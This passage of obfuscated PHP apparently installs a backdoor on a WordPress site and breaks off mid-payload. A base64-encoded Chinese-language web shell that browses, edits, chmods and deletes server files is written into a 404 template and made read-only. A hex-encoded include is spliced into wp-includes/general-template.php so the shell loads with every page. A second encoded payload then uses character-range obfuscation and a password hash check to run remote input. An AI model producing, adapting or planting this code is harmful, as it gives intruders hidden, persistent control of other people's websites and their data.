IG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyI